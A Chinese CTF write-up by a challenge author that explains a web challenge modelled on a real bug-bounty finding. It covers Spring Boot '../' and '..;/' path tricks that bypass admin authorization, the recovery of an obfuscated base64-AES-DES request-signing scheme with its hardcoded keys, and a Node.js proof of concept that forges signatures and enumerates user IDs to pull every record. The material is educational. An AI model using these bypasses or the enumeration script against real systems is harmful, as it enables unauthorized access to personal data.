移动大比武某web题出题文档与wp—从实战出发

之前给移动大比武出的一道数据安全方向的web题,思路是之前挖的一个src的洞,差不多一比一的简化下来了,挺好玩的一个洞。不打比赛以后有段纯gap的时间,给各种各样的比赛出了好多次题,个人觉得出题一定要贴近实战,或者跟安全研究有联系,一定要让人学到东西不要有脑洞题,不然浪费别人时间是会被骂的。

解题思路

题目名称:数据⽆价 2.0

题⽬描述:请获取所有⼈的数据

考点:
1.数据安全
2.js 反混淆与动态调试
3.java 鉴权绕过
4.业务逻辑
5.nodejs

思路-1

访问 URL,默认为登录⻚⾯:

点击注册:

注册⽤户时发现,仅仅可注册普通⽤户,管理员⽤户不可注册,如图:

尝试绕过/admin/register 路由鉴权,利⽤⾼低版本 spring-boot 对../的不同处理结合 java 的经典权限绕过
⽅式,进⾏绕过。使⽤https://github.com/wa1ki0g/NoAuth 进⾏ fuzz,⼿动测试也可

发现多个 405 ⽅法,405 代表有权限只是没参数:

随便选择⼀种⽅式进⾏绕过,成功绕过:

登录后,提示要使⽤身份证进⾏查询,在管理员查询接⼝输⼊我们注册时使⽤的身份证号进⾏抓包:

发现分别对/getid/15212220010521091,/admin/select 发送了请求,分析可发现,先是通
过/getid/$number 得到⽤户 id,再通过/admin/select 得到数据:

我们这⾥尝试遍历 id,来获取其他⽤户的数据,发现做了签名校验:

分析 js,全局搜索 sign 关键字发现⼀处可疑地点:

对此函数设置断点,找⼀下⽤来加密的 js ⽂件:

跟进函数发现,是在 hook.js 中,同时发现 hook.js 的代码做了混淆:

通过断点⼀点点的跟,代码很短,所以很容易就会发现算法为:base64+aes(key 为1234567890123456)+hex+des(key 为12345678’);

可以还原⼀下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function generateSign(id) {
const base64Encoded = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(id));

const aesKey = CryptoJS.enc.Utf8.parse('1234567890123456');
const aesEncrypted = CryptoJS.AES.encrypt(base64Encoded, aesKey, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}).toString();

const hexEncoded = CryptoJS.enc.Hex.stringify(CryptoJS.enc.Base64.parse(aesEncrypte
d));

const desKey = CryptoJS.enc.Utf8.parse('12345678');

const desEncrypted = CryptoJS.DES.encrypt(hexEncoded, desKey, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}).toString();
return desEncrypted;
}


得到算法与 key 后,开始编写 poc,这⾥为了多点⼈做出来所以⽤户数据量很少,所以就很多⽅法,⽐如直接通过控制台去调这个函数,或者改返回包直接通过本地 js 去⾃动加密。

编写 poc:nodejs 写的,因为算法稍微有点复杂,试了其他⼏个语⾔,⽤了同样的算法,可能是默认 iv 的事,有的加密出的数据不⼀样,需要微调下,这⾥图⽅便直接⽤ nodejs 写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
    const CryptoJS = require('crypto-js')
const axios = require('axios');
function generateSign(id) {
const base64Encoded = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(id));
const aesKey = CryptoJS.enc.Utf8.parse('1234567890123456');
const aesEncrypted = CryptoJS.AES.encrypt(base64Encoded, aesKey, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}).toString();
const hexEncoded = CryptoJS.enc.Hex.stringify(CryptoJS.enc.Base64.parse(aesEncrypte
d));
const desKey = CryptoJS.enc.Utf8.parse('12345678');
const desEncrypted = CryptoJS.DES.encrypt(hexEncoded, desKey, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}).toString();
return desEncrypted
}


async function sendAllRequests() {
for (let id = 1; id <= 30; id++) {
try {
await sendRequest(id);
} catch (error) {
console.error(`Error sending request for ID ${id}:`, error);
}
}
}


async function sendRequest(id) {
const sign = generateSign(id);
const payload = {
id: id.toString(),
sign: sign
};
try {
const response = await axios.post('http://192.168.238.250:8080/admin/select', p
ayload, {
headers: {
'Content-Type': 'application/json',
'Cookie': 'Authorization=Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiLlvKDkuI
nkuowiLCJwaG9uZSI6IjE1MTQ5MDIyMTkyIiwiZXhwIjoxNzIzODI0NTY5fQ.c2tCjgtkFQ6IatQz-eOjt0TM1L
foH6L7EkuZb1XMl1Q'
}
});
console.log(`Response for ID ${id}:`, response.data);
} catch (error) {
}
}

sendAllRequests();

成功拿到 flag:

思路-2

普通⽤户注册登录,然后利⽤/user/select/..;/..;/admin/select,越权到/admin/select 接⼝
/admin/select 接⼝与/admin/register 权限设置不⼀样,/admin/register 可⽆权限—>admin 权限
但/admin/select 接⼝只能 user 权限—>admin 权限,剩下同上

这道题是之前挖 src 的时候实际碰⻅的⼀种情况,差不多⼀⽐⼀的复刻了下,逻辑漏洞的表现形式:⼤家对于 java 框架中想到绕过鉴权的时候⼤部分都是⽆权限→⾼权限,不怎么关注低权限→⾼权限